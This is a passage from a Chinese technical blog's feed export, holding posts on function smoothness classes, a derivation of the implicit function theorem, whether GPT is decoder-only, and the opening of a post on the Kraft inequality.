\<br>0, &amp; x = 0<br>\end{cases} $</p><p>$ h(y) = y $</p><p>理论上，$ (h \circ g)’(0) $ 应该等于 $ h’(g(0)) \cdot g’(0) = 1 \cdot 0 = 0 $<font style="color:rgba(6, 8, 31, 0.88);">，但如果你在计算机上用有限差分等数值方法近似计算</font>$ g’(0) $<font style="color:rgba(6, 8, 31, 0.88);">，会得到各种乱七八糟的值，而不是理论上的0。</font></p><h3 id="2-微分中值定理的应用受限"><a href="#2-微分中值定理的应用受限" class="headerlink" title="2. 微分中值定理的应用受限"></a>2. 微分中值定理的应用受限</h3><p><strong>例子2</strong>：考虑函数</p><p>$ f(x) = \begin{cases}<br>x + 2x^2\sin(1/x), &amp; x \neq 0 \<br>0, &amp; x = 0<br>\end{cases} $</p><p>其导数为：</p><p>$ f’(x) = \begin{cases}<br>1 + 4x\sin(1/x) - 2\cos(1/x), &amp; x \neq 0 \<br>1, &amp; x = 0<br>\end{cases} $</p><p><strong>问题场景</strong>：估计 $ f(0.01) - f(0) $</p><ul><li>理论上：存在 $ \xi \in (0, 0.01) $ 使得 $ f(0.01) - f(0) = f’(\xi) \cdot 0.01 $</li><li>实际上：由于 $ f’(x) $ 在 $ x=0 $ 附近剧烈振荡（在 $ [-1, 3] $ 之间），我们无法给出稳定的估计</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">假设我们要估计 f(h) - f(0)：</span><br><span class="line"></span><br><span class="line">h = 0.01:    可能 f&#x27;(ξ) ≈ -0.8,  估计值 ≈ -0.008</span><br><span class="line">h = 0.0099:  可能 f&#x27;(ξ) ≈ 2.5,   估计值 ≈ 0.02475  </span><br><span class="line">h = 0.0101:  可能 f&#x27;(ξ) ≈ 0.3,   估计值 ≈ 0.00303</span><br><span class="line"></span><br><span class="line">三个几乎相同的h值，估计结果差异巨大！</span><br></pre></td></tr></table></figure><h3 id="3-数值方法的不稳定性"><a href="#3-数值方法的不稳定性" class="headerlink" title="3. 数值方法的不稳定性"></a>3. 数值方法的不稳定性</h3><p><strong>例子3</strong>：用牛顿法求解方程 $ f(x) = 0 $</p><p>考虑函数：</p><p>$ f(x) = \begin{cases}<br>x + x^2\sin(1/x), &amp; x \neq 0 \<br>0, &amp; x = 0<br>\end{cases} $</p><p>牛顿迭代：$ x_{n+1} = x_n - \frac{f(x_n)}{f’(x_n)} $</p><p><strong>问题</strong>：</p><ul><li>当 $ x_n $ 接近0时，$ f’(x_n) $ 可能接近 $ \cos(1/x_n) $ 的某个值</li><li>如果 $ \cos(1/x_n) \approx 0 $，迭代会变得极不稳定</li><li>导函数的不连续导致收敛性无法保证</li></ul><h3 id="4-泰勒展开的失效"><a href="#4-泰勒展开的失效" class="headerlink" title="4. 泰勒展开的失效"></a>4. 泰勒展开的失效</h3><p><strong>例子4</strong>：考虑在 $ x=0 $ 附近展开</p><p>对于C^1函数，我们期望：</p><p>$ f(h) = f(0) + f’(0)h + o(h) $</p><p>但如果 $ f’ $ 不连续，余项 $ o(h) $ 的行为会很糟糕。</p><p>具体例子：</p><p>$ g(x) = \begin{cases}<br>x^2(2 + \sin(1/x)), &amp; x \neq 0 \<br>0, &amp; x = 0<br>\end{cases} $</p><p>虽然 $ g’(0) = 0 $，但：</p><ul><li>一阶泰勒展开：$ g(h) \approx 0 $</li><li>实际值：$ g(h) = h^2(2 + \sin(1/h)) $ 在 $ [h^2, 3h^2] $ 之间振荡</li><li>相对误差可达300%！</li></ul><p><font style="color:rgba(6, 8, 31, 0.88);">因为</font><strong><font style="color:rgba(6, 8, 31, 0.88);">函数导数在0点附近不连续</font></strong><font style="color:rgba(6, 8, 31, 0.88);">，这样导致泰勒展开的“小量”项（理论上应属于 </font>$ o(h) $<font style="color:rgba(6, 8, 31, 0.88);">的项）实际上主导了近似误差。</font></p><h3 id="5-优化算法的收敛性问题"><a href="#5-优化算法的收敛性问题" class="headerlink" title="5. 优化算法的收敛性问题"></a>5. 优化算法的收敛性问题</h3><p><strong>例子5</strong>：梯度下降法</p><p>考虑目标函数：</p><p>$ f(x) = x^2 + \begin{cases}<br>x^3\sin(1/x), &amp; x \neq 0 \<br>0, &amp; x = 0<br>\end{cases} $</p><p>梯度下降：$ x_{n+1} = x_n - \alpha f’(x_n) $</p><p><strong>问题</strong>：</p><ul><li>在 $ x=0 $ 附近，梯度会突然变化</li><li>步长 $ \alpha $ 很难选择</li><li>算法可能在最优点附近振荡而不收敛</li></ul><h3 id="6-积分相关的问题"><a href="#6-积分相关的问题" class="headerlink" title="6. 积分相关的问题"></a>6. 积分相关的问题</h3><p><strong>微积分基本定理的应用</strong></p><p>如果 $ f \in C^1[a,b] $，则：</p><p>$ \int_a^b f’(x)dx = f(b) - f(a) $</p><p>但如果 $ f’ $ 不连续，这个公式可能需要更仔细的处理（如广义积分）。</p><p>没有这个性质，我们失去了：</p><ul><li>可靠的线性近似</li><li>稳定的数值方法</li><li>收敛的迭代算法</li><li>有效的误差估计</li></ul><h2 id="4-典型例子"><a href="#4-典型例子" class="headerlink" title="4. 典型例子"></a>4. 典型例子</h2><table><thead><tr><th>函数</th><th>连续性</th><th>可导性</th><th>函数类</th></tr></thead><tbody><tr><td>$</td><td>x</td><td>$</td><td>连续</td></tr><tr><td>$ x</td><td>x</td><td>$</td><td>连续</td></tr><tr><td>$ x^2 $</td><td>连续</td><td>无限可导</td><td>C^∞</td></tr><tr><td>$ \sqrt{x} $ (x≥0)</td><td>连续</td><td>x=0导数无界</td><td>非Lipschitz</td></tr></tbody></table><h2 id="5-实用判断准则"><a href="#5-实用判断准则" class="headerlink" title="5. 实用判断准则"></a>5. 实用判断准则</h2><h3 id="5-1-检查C-1"><a href="#5-1-检查C-1" class="headerlink" title="5.1 检查C^1"></a>5.1 检查C^1</h3><ol><li>计算导函数</li><li>检查导函数的连续性（特别是分段点）</li></ol><h3 id="5-2-检查Lipschitz"><a href="#5-2-检查Lipschitz" class="headerlink" title="5.2 检查Lipschitz"></a>5.2 检查Lipschitz</h3><ol><li>若f∈C^1[a,b]，则自动Lipschitz连续</li><li>否则直接验证定义或检查导数是否有界</li></ol><h2 id="6-应用场景"><a href="#6-应用场景" class="headerlink" title="6. 应用场景"></a>6. 应用场景</h2><ul><li><strong>C^1</strong>：大多数优化算法的基本要求</li><li><strong>C^2</strong>：牛顿法、曲率分析</li><li><strong>Lipschitz</strong>：不动点定理、ODE解的存在性</li><li><strong>C^∞</strong>：泰勒级数、解析延拓</li></ul><h2 id="7-关键要点"><a href="#7-关键要点" class="headerlink" title="7. 关键要点"></a>7. 关键要点</h2><ol><li><strong>C^k严格强于k次可导</strong>：需要k阶导数连续</li><li><strong>Lipschitz是C^1的推广</strong>：放松了可导性要求</li><li><strong>光滑性层次</strong>：越光滑，性质越好，但要求越严格</li><li><strong>实际应用</strong>：根据问题需求选择合适的光滑性假设</li></ol><p>记住：数学中的”光滑”不是模糊概念，而是有精确的层次结构！</p>]]></content>
    
    
    <summary type="html">The smoothness and continuity hierarchy of functions</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="Math" scheme="https://cl0und.xyz/tags/Math/"/>
    
  </entry>
  
  <entry>
    <title>ML的数学基石-隐函数定理（Implicit function theorem）</title>
    <link href="https://cl0und.xyz/2025/05/25/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E9%9A%90%E5%87%BD%E6%95%B0%E5%AE%9A%E7%90%86%EF%BC%88implicit-function-theorem%EF%BC%89/"/>
    <id>https://cl0und.xyz/2025/05/25/ML%E7%9A%84%E6%95%B0%E5%AD%A6%E5%9F%BA%E7%9F%B3-%E9%9A%90%E5%87%BD%E6%95%B0%E5%AE%9A%E7%90%86%EF%BC%88implicit-function-theorem%EF%BC%89/</id>
    <published>2025-05-25T08:19:35.000Z</published>
    <updated>2025-05-25T09:28:38.904Z</updated>
    
    <content type="html"><![CDATA[<p>通过之前博文学习的反函数定理，雅可比矩阵等推到出隐函数定理。</p><h2 id="隐函数定理的陈述"><a href="#隐函数定理的陈述" class="headerlink" title="隐函数定理的陈述"></a>隐函数定理的陈述</h2><p>首先，让我们明确隐函数定理要说什么：</p><p><strong>隐函数定理</strong>：设 $ F: \mathbb{R}^{n+m} \to \mathbb{R}^m $ 是 $ C^1 $ 函数，点 $ (a,b) \in \mathbb{R}^n \times \mathbb{R}^m $ 满足：</p><ol><li>$ F(a,b) = 0 $</li><li>$ \frac{\partial F}{\partial y}(a,b) $ 是可逆的 $ m \times m $ 矩阵</li></ol><p>则存在 $ a $ 的邻域 $ U $ 和 $ b $ 的邻域 $ V $，以及 $ C^1 $ 函数 $ g: U \to V $，使得：</p><ul><li>$ g(a) = b $</li><li>对所有 $ x \in U $，有 $ F(x, g(x)) = 0 $</li></ul><h2 id="从反函数定理推导隐函数定理"><a href="#从反函数定理推导隐函数定理" class="headerlink" title="从反函数定理推导隐函数定理"></a>从反函数定理推导隐函数定理</h2><h3 id="步骤-1：构造辅助函数"><a href="#步骤-1：构造辅助函数" class="headerlink" title="步骤 1：构造辅助函数"></a>步骤 1：构造辅助函数</h3><p>定义函数 $ G: \mathbb{R}^{n+m} \to \mathbb{R}^{n+m} $：</p><p>$ G(x,y) = (x, F(x,y)) $</p><p>其中 $ x \in \mathbb{R}^n $，$ y \in \mathbb{R}^m $。</p><h3 id="步骤-2：计算雅可比矩阵"><a href="#步骤-2：计算雅可比矩阵" class="headerlink" title="步骤 2：计算雅可比矩阵"></a>步骤 2：计算雅可比矩阵</h3><p>$ G $ 的雅可比矩阵是：</p><p>$ DG(x,y) = \begin{pmatrix}<br>I_n &amp; 0 \\<br>\frac{\partial F}{\partial x} &amp; \frac{\partial F}{\partial y}<br>\end{pmatrix} $</p><p>其中 $ I_n $ 是 $ n \times n $ 单位矩阵。</p><p>附录里面的给出这一步的详细推导。</p><h3 id="步骤-3：验证雅可比矩阵可逆"><a href="#步骤-3：验证雅可比矩阵可逆" class="headerlink" title="步骤 3：验证雅可比矩阵可逆"></a>步骤 3：验证雅可比矩阵可逆</h3><p>在点 $ (a,b) $ 处，由于 $ \frac{\partial F}{\partial y}(a,b) $ 可逆，我们可以计算：</p><p>$ \det(DG(a,b)) = \det(I_n) \cdot \det\left(\frac{\partial F}{\partial y}(a,b)\right) \neq 0 $</p><p>因此 $ DG(a,b) $ 是可逆的。</p><h3 id="步骤-4：应用反函数定理"><a href="#步骤-4：应用反函数定理" class="headerlink" title="步骤 4：应用反函数定理"></a>步骤 4：应用反函数定理</h3><p>由反函数定理，存在 $ (a,b) $ 的邻域 $ W $ 和 $ G(a,b) = (a,0) $ 的邻域 $ W’ $，使得 $ G: W \to W’ $ 有 $ C^1 $ 逆函数 $ G^{-1} $。</p><h3 id="步骤-5：构造隐函数"><a href="#步骤-5：构造隐函数" class="headerlink" title="步骤 5：构造隐函数"></a>步骤 5：构造隐函数</h3><p>设 $ G^{-1}(x,z) = (H_1(x,z), H_2(x,z)) $，其中 $ H_1: W’ \to \mathbb{R}^n $，$ H_2: W’ \to \mathbb{R}^m $。</p><p>由于 $ G \circ G^{-1} = \text{原来映射出的值}$，我们有：$ G(H_1(x,z), H_2(x,z)) = (x,z) $</p><p>展开得：$ (H_1(x,z), F(H_1(x,z), H_2(x,z))) = (x,z) $</p><p>这给出：</p><ol><li>$ H_1(x,z) = x $</li><li>$ F(x, H_2(x,z)) = z $</li></ol><h3 id="步骤-6：定义隐函数"><a href="#步骤-6：定义隐函数" class="headerlink" title="步骤 6：定义隐函数"></a>步骤 6：定义隐函数</h3><p>取 $ z = 0 $，定义 $ g(x) = H_2(x,0) $。</p><p>由于 $ G^{-1}(a,0) = (a,b) $，我们有 $ g(a) = H_2(a,0) = b $。</p><p>对于 $ x $ 在 $ a $ 的适当邻域内，由步骤5的第二个等式：</p><p>$ F(x, g(x)) = F(x, H_2(x,0)) = 0 $</p><h2 id="通俗理解整个过程"><a href="#通俗理解整个过程" class="headerlink" title="通俗理解整个过程"></a>通俗理解整个过程</h2><p>如果 $G$ 有反函数 $G^{-1}$，那么：</p><ul><li>给定 $(x, 0)$，$G^{-1}$ 能告诉我们对应的 $(x, y)$</li><li>这个对应中的$y$ 正好满足$F(x, y) = 0$。</li></ul><h1 id="附录：推导DG-x-y-的左上角为什么是单位矩阵"><a href="#附录：推导DG-x-y-的左上角为什么是单位矩阵" class="headerlink" title="附录：推导DG(x,y)的左上角为什么是单位矩阵"></a>附录：推导DG(x,y)的左上角为什么是单位矩阵</h1><p>我来详细推导为什么雅可比矩阵 $ DG(x,y) $ 的左上角是单位矩阵 $ I_n $。</p><h2 id="回顾函数定义"><a href="#回顾函数定义" class="headerlink" title="回顾函数定义"></a>回顾函数定义</h2><p>我们定义了函数 $ G: \mathbb{R}^{n+m} \to \mathbb{R}^{n+m} $：</p><p>$ G(x,y) = (x, F(x,y)) $</p><p>其中：</p><ul><li>$ x = (x_1, x_2, …, x_n) \in \mathbb{R}^n $</li><li>$ y = (y_1, y_2, …, y_m) \in \mathbb{R}^m $</li><li>$ F: \mathbb{R}^{n+m} \to \mathbb{R}^m $</li></ul><h2 id="分解-G-的分量"><a href="#分解-G-的分量" class="headerlink" title="分解 $ G $ 的分量"></a>分解 $ G $ 的分量</h2><p>我们可以将 $ G $ 写成分量形式：</p><p>$ G(x,y) = \begin{pmatrix}<br>g_1(x,y) \\<br>g_2(x,y) \\<br>\vdots \\<br>g_n(x,y) \\<br>g_{n+1}(x,y) \\<br>\vdots \\<br>g_{n+m}(x,y)<br>\end{pmatrix} = \begin{pmatrix}<br>x_1 \\<br>x_2 \\<br>\vdots \\<br>x_n \\<br>F_1(x,y) \\<br>\vdots \\<br>F_m(x,y)<br>\end{pmatrix} $</p><h2 id="计算雅可比矩阵的元素"><a href="#计算雅可比矩阵的元素" class="headerlink" title="计算雅可比矩阵的元素"></a>计算雅可比矩阵的元素</h2><p>雅可比矩阵 $ DG(x,y) $ 的第 $ (i,j) $ 元素是 $ \frac{\partial g_i}{\partial x_j} $ 或 $ \frac{\partial g_i}{\partial y_k} $。</p><h3 id="对于前-n-行（-i-1-2-…-n-）："><a href="#对于前-n-行（-i-1-2-…-n-）：" class="headerlink" title="对于前 $ n $ 行（$ i = 1, 2, …, n $）："></a>对于前 $ n $ 行（$ i = 1, 2, …, n $）：</h3><p>由于 $ g_i(x,y) = x_i $，我们有：</p><ul><li>当 $ j \leq n $ 时：$ \frac{\partial g_i}{\partial x_j} = \frac{\partial x_i}{\partial x_j} = \begin{cases} 1 &amp; \text{如果 } i = j \ 0 &amp; \text{如果 } i \neq j \end{cases} $</li><li>当 $ j &gt; n $ 时（即对 $ y_k $ 求导）：$ \frac{\partial g_i}{\partial y_k} = \frac{\partial x_i}{\partial y_k} = 0 $</li></ul><h2 id="构造雅可比矩阵"><a href="#构造雅可比矩阵" class="headerlink" title="构造雅可比矩阵"></a>构造雅可比矩阵</h2><p>因此，雅可比矩阵的形式是：</p><p>$ DG(x,y) = \begin{pmatrix}<br>\frac{\partial x_1}{\partial x_1} &amp; \cdots &amp; \frac{\partial x_1}{\partial x_n} &amp; \frac{\partial x_1}{\partial y_1} &amp; \cdots &amp; \frac{\partial x_1}{\partial y_m} \\<br>\vdots &amp; \ddots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \\<br>\frac{\partial x_n}{\partial x_1} &amp; \cdots &amp; \frac{\partial x_n}{\partial x_n} &amp; \frac{\partial x_n}{\partial y_1} &amp; \cdots &amp; \frac{\partial x_n}{\partial y_m} \\<br>\frac{\partial F_1}{\partial x_1} &amp; \cdots &amp; \frac{\partial F_1}{\partial x_n} &amp; \frac{\partial F_1}{\partial y_1} &amp; \cdots &amp; \frac{\partial F_1}{\partial y_m} \\<br>\vdots &amp; \ddots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \\<br>\frac{\partial F_m}{\partial x_1} &amp; \cdots &amp; \frac{\partial F_m}{\partial x_n} &amp; \frac{\partial F_m}{\partial y_1} &amp; \cdots &amp; \frac{\partial F_m}{\partial y_m}<br>\end{pmatrix} $</p><p>代入我们计算的值：</p><p>$ DG(x,y) = \begin{pmatrix}<br>1 &amp; 0 &amp; \cdots &amp; 0 &amp; 0 &amp; \cdots &amp; 0 \\<br>0 &amp; 1 &amp; \cdots &amp; 0 &amp; 0 &amp; \cdots &amp; 0 \\<br>\vdots &amp; \vdots &amp; \ddots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \\<br>0 &amp; 0 &amp; \cdots &amp; 1 &amp; 0 &amp; \cdots &amp; 0 \\<br>\frac{\partial F_1}{\partial x_1} &amp; \cdots &amp; \frac{\partial F_1}{\partial x_n} &amp; \frac{\partial F_1}{\partial y_1} &amp; \cdots &amp; \frac{\partial F_1}{\partial y_m} \\<br>\vdots &amp; \ddots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots \\<br>\frac{\partial F_m}{\partial x_1} &amp; \cdots &amp; \frac{\partial F_m}{\partial x_n} &amp; \frac{\partial F_m}{\partial y_1} &amp; \cdots &amp; \frac{\partial F_m}{\partial y_m}<br>\end{pmatrix} $</p><p>这就是为什么左上角是 $ n \times n $ 单位矩阵 $ I_n $，右上角是 $ n \times m $ 零矩阵。</p>]]></content>
    
    
    <summary type="html">Implicit function theorem</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
    <category term="Math" scheme="https://cl0und.xyz/tags/Math/"/>
    
  </entry>
  
  <entry>
    <title>Does GPT&#39;s &#39;decoder-only&#39; architecture mean it consists of only a decoder?</title>
    <link href="https://cl0und.xyz/2025/05/24/GPT%E7%9A%84decoder-only%E6%98%AF%E5%8F%AA%E6%9C%89decoder%E5%90%97/"/>
    <id>https://cl0und.xyz/2025/05/24/GPT%E7%9A%84decoder-only%E6%98%AF%E5%8F%AA%E6%9C%89decoder%E5%90%97/</id>
    <published>2025-05-23T16:20:00.000Z</published>
    <updated>2025-05-23T16:41:42.375Z</updated>
    
    <content type="html"><![CDATA[<p><strong>GPT的decoder-only是只有decoder吗？</strong></p><p>事情的起因是我和朋友争论GPT模型到底有没有encoder。他认为GPT或类似的模型其实有一个很小的encoder，并且encoder和decoder之间会有cross attention。而我的观点则是GPT只有decoder部分，没有encoder。</p><p>于是有了这篇论文考古。</p><p><strong>GPT</strong></p><p>论文链接：<a href="https://cdn.openai.com/research-covers/language-unsupervised/language/_understanding/_paper.pdf">https://cdn.openai.com/research-covers/language-unsupervised/language\_understanding\_paper.pdf</a></p><p><strong>GPT 1.0</strong></p><p>GPT1.0分为训练和微调</p><p>训练</p><p><img src="image1.png"></p><p>微调</p><p><img src="image2.png"></p><p><img src="image3.png"></p><p>训练就是纯预测（优化一个目标函数），微调是同时做预测和分类（作者发现这样泛化性更好），优化目标为一组目标函数的和。</p><p>架构图可以到，就是只用了解码器，没有用编码器。</p><p><img src="image4.png"></p><p>论文中谈及架构的时候提到了引用34和62。说他们使用的decoder是来自transformer的一个变体。</p><p><a href="https://arxiv.org/pdf/1801.10198">GENERATING WIKIPEDIA BY SUMMARIZING LONG<br>SEQUENCES</a></p><p>Attention is all you need.</p><p>34的文章提出了一个decoder-only的架构，用来生成像维基百科一样的文章，作者认为用decoder-only能够关注更长的序列，这比常见的在序列转换任务中使用的编码器—解码器架构所能处理的序列要长得多。在引言部分和模型示例图可以看到他们模型只包含deocder.</p><p><img src="image5.png"></p><p><img src="image6.png"></p><p><img src="image7.png"></p><p>作者仅以不做了实验发现，比起encoder-decoder架构，decoder-only能微量提点，但是能处理的长度显著增加。</p><p><img src="image8.png"></p><p><strong>那么原来做cross attention那一层去哪里了？</strong></p><p><strong>在GPT1.0和它引用的论文里面是直接删掉了。只有masked multi-head<br>attention</strong></p><p><strong>GPT 2.0</strong></p><p>那在GPT2.0, 3.0用了吗？</p><p>Language Models are Unsupervised Multitask Learners</p><p><a href="https://cdn.openai.com/better-language-models/language/_models/_are/_unsupervised/_multitask/_learners.pdf">https://cdn.openai.com/better-language-models/language\_models\_are\_unsupervised\_multitask\_learners.pdf</a></p><p>GPT2.0在模型描述里面提到只在GPT1.0上做了微小改动，如果加了encoder应该属于模型大变化，应该会提到。</p><p><img src="image9.png"></p><p><img src="image10.png"></p><p>从源码里面看就是decoder-only<br><a href="https://github.com/openai/gpt-2/blob/master/src/model.py">https://github.com/openai/gpt-2/blob/master/src/model.py</a></p><p><strong>GPT 3.0</strong></p><p>Language Models are Few-Shot Learners</p><p><a href="https://arxiv.org/pdf/2005.14165">https://arxiv.org/pdf/2005.14165</a></p><p>提到架构和GPT2.0一样</p><p><img src="image11.png"></p><p><strong>GPT 4.0</strong></p><p>CloseAI的技术报告没有提模型细节，一种比较可靠的说法是他们要做多模态所以引入的ViT或者clip之类的技术理解媒体文件。但是这里我猜应该是只是做完embedding和文字的embedding一起输入，不能算是有”cross-attention”的encoder。</p><p><img src="image12.png"></p><p><img src="image13.png"></p><p><strong>Decoder only有什么好处？</strong></p><p>这里借用<a href="https://www.zhihu.com/question/588325646/answer/3357252612?s_r=0&utm_medium=social&utm_source=wechat_session">知乎这里的讨论</a><br>重新梳理一下。</p><p><strong>注意力机制的数学特性（苏剑林观点）</strong></p><p><strong>核心观点：</strong>双向注意力容易退化为低秩，而因果注意力必然满秩。</p><p><strong>详细解释与例子：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">双向注意力示例</span><br><span class="line">句子：&quot;我爱北京天安门&quot;</span><br><span class="line">双向注意力矩阵（简化示例）</span><br><span class="line">[</span><br><span class="line">[0.2, 0.2, 0.2, 0.2, 0.2], &quot;我&quot;看所有词</span><br><span class="line">[0.2, 0.2, 0.2, 0.2, 0.2], &quot;爱&quot;看所有词</span><br><span class="line">[0.2, 0.2, 0.2, 0.2, 0.2], &quot;北京&quot;看所有词</span><br><span class="line">[0.2, 0.2, 0.2, 0.2, 0.2], &quot;天安&quot;看所有词</span><br><span class="line">[0.2, 0.2, 0.2, 0.2, 0.2], &quot;门&quot;看所有词</span><br><span class="line">]</span><br><span class="line">容易退化为低秩：所有行向量相似</span><br><span class="line">因果注意力示例（decoder-only）</span><br><span class="line">[</span><br><span class="line">[1.0, 0, 0, 0, 0], &quot;我&quot;只看自己</span><br><span class="line">[0.5, 0.5, 0, 0, 0], &quot;爱&quot;看&quot;我&quot;和自己</span><br><span class="line">[0.3, 0.3, 0.4, 0, 0], &quot;北京&quot;看前面的词</span><br><span class="line">[0.2, 0.2, 0.3, 0.3, 0], &quot;天安&quot;看前面的词</span><br><span class="line">[0.2, 0.2, 0.2, 0.2, 0.2], &quot;门&quot;看所有前面的词</span><br><span class="line">]</span><br><span class="line">下三角矩阵，必然满秩，表达能力更强</span><br></pre></td></tr></table></figure><p>如果注意力矩阵变成低秩，相当于模型”眼里看到的东西都一样”，很多不同的位置/内容其实被糊成了一坨，没法细致地区分信息。</p><p><strong>预测任务难度与泛化能力（@yili观点）</strong></p><p><strong>核心观点：</strong>更难的预测任务促使模型学习更好的通用表征。</p><p><strong>具体例子：</strong></p><p>预测&quot;北京&quot;这个词时：</p><p>Encoder-Decoder：可以看到完整句子&quot;我爱[MASK]天安门&quot;，从两边获取信息</p><p>Decoder-Only：只能看到&quot;我爱&quot;，必须从更少的信息中推断</p><p>这种&quot;信息饥渴&quot;迫使模型：</p><p>学习更强的语言模型能力</p><p>更好地理解词序和语法结构</p><p>形成更通用的表征</p><p><strong>上下文学习的天然优势（@mimimumu观点）</strong></p><p><strong>核心观点：</strong>Decoder-only架构让prompt能直接作用于每一层。</p><p><strong>Few-shot学习示例：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">输入你给出的格式去掉多余斜线，改成：</span><br><span class="line"></span><br><span class="line">问：什么是机器学习？</span><br><span class="line">答：机器学习是让计算机从数据中学习的技术。</span><br><span class="line"></span><br><span class="line">问：什么是深度学习？</span><br><span class="line">答：[模型生成]</span><br></pre></td></tr></table></figure><p>在Decoder-only中：</p><p>每个token的表示逐层构建时，都能直接参考前面的示例</p><p>Prompt信息像&quot;隐式微调&quot;一样影响每一层的计算</p><p>而Encoder-Decoder需要先编码完整输入，再解码，信息传递路径更长。</p><p><strong>隐式位置编码特性</strong></p><p><strong>核心观点：</strong>因果注意力天然具有位置敏感性。</p><p><strong>对比例子：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">没有位置编码的双向注意力</span><br><span class="line">&quot;我爱你&quot; 和 &quot;你爱我&quot; 可能产生相似的表示</span><br><span class="line"></span><br><span class="line">因果注意力（即使没有显式位置编码）</span><br><span class="line">&quot;我爱你&quot;：</span><br><span class="line"></span><br><span class="line">&quot;我&quot;：只看自己</span><br><span class="line">&quot;爱&quot;：看&quot;我&quot;+&quot;爱&quot;</span><br><span class="line">&quot;你&quot;：看&quot;我&quot;+&quot;爱&quot;+&quot;你&quot;</span><br><span class="line">&quot;你爱我&quot;：</span><br><span class="line"></span><br><span class="line">&quot;你&quot;：只看自己</span><br><span class="line">&quot;爱&quot;：看&quot;你&quot;+&quot;爱&quot;</span><br><span class="line">&quot;我&quot;：看&quot;你&quot;+&quot;爱&quot;+&quot;我&quot;</span><br><span class="line">表示完全不同，天然区分语序</span><br></pre></td></tr></table></figure><p><strong>KV-Cache复用机制</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">第一轮</span><br><span class="line">用户：&quot;介绍一下北京&quot;</span><br><span class="line">模型：生成回答，缓存所有KV</span><br><span class="line"></span><br><span class="line">第二轮</span><br><span class="line">用户：&quot;它的人口有多少？&quot;</span><br><span class="line"></span><br><span class="line">Decoder-only：直接复用第一轮的KV-Cache</span><br><span class="line">只需计算新输入的KV，效率极高</span><br><span class="line"></span><br><span class="line">Encoder-Decoder：需要重新编码整个上下文</span><br><span class="line">因为encoder看到的是完整输入，任何改变都需要重新计算</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">事情的起因是我和朋友争论GPT模型到底有没有encoder。他认为GPT或类似的模型其实有一个很小的encoder，并且encoder和decoder之间会有cross attention。而我的观点则是GPT只有decoder部分，没有encoder。</summary>
    
    
    
    
    <category term="ML" scheme="https://cl0und.xyz/tags/ML/"/>
    
  </entry>
  
  <entry>
    <title>ML的信息论基石-kraft不等式，信息熵，KL散度</title>
    <link href="https://cl0und.xyz/2025/05/03/ML%E7%9A%84%E4%BF%A1%E6%81%AF%E8%AE%BA%E5%9F%BA%E7%9F%B3-kraft%E4%B8%8D%E7%AD%89%E5%BC%8F%EF%BC%8C%E4%BF%A1%E6%81%AF%E7%86%B5%EF%BC%8CKL%E6%95%A3%E5%BA%A6/"/>
    <id>https://cl0und.xyz/2025/05/03/ML%E7%9A%84%E4%BF%A1%E6%81%AF%E8%AE%BA%E5%9F%BA%E7%9F%B3-kraft%E4%B8%8D%E7%AD%89%E5%BC%8F%EF%BC%8C%E4%BF%A1%E6%81%AF%E7%86%B5%EF%BC%8CKL%E6%95%A3%E5%BA%A6/</id>
    <published>2025-05-03T14:51:17.000Z</published>
    <updated>2025-05-25T09:28:52.042Z</updated>
    
    <content type="html"><![CDATA[<h2 id="一、基本名词与概念"><a href="#一、基本名词与概念" class="headerlink" title="一、基本名词与概念"></a>一、基本名词与概念</h2><h3 id="1-前缀码与前缀自由码"><a href="#1-前缀码与前缀自由码" class="headerlink" title="1. 前缀码与前缀自由码"></a>1. 前缀码与前缀自由码</h3><ul><li><strong>前缀码</strong>：没有一个码字是另一个码字的前缀。例如霍夫曼码。  </li><li><strong>重要性</strong>：前缀码满足即时唯一可译性（译码时不会二义并且即时解码AA）。</li></ul><hr><h3 id="2-Kraft不等式"><a href="#2-Kraft不等式" class="headerlink" title="2. Kraft不等式"></a>2. Kraft不等式</h3><p>Kraft不等式是信息论中关于前缀编码（或者说前缀码树/二叉树）的一个重要结论。它说明任意一组前缀码的码长 $ l_1, l_2, \ldots, l_n $ 必须满足</p><p>$ \sum_{i=1}^n 2^{-l_i} \leq 1 $</p><p>反之，只有满足这个不等式才有可能存在对应的前缀码。</p><h4 id="Kraft不等式证明"><a href="#Kraft不等式证明" class="headerlink" title="Kraft不等式证明"></a>Kraft不等式证明</h4><p><strong>必要性（任何前缀码的一组码长都满足Kraft不等式）：</strong> 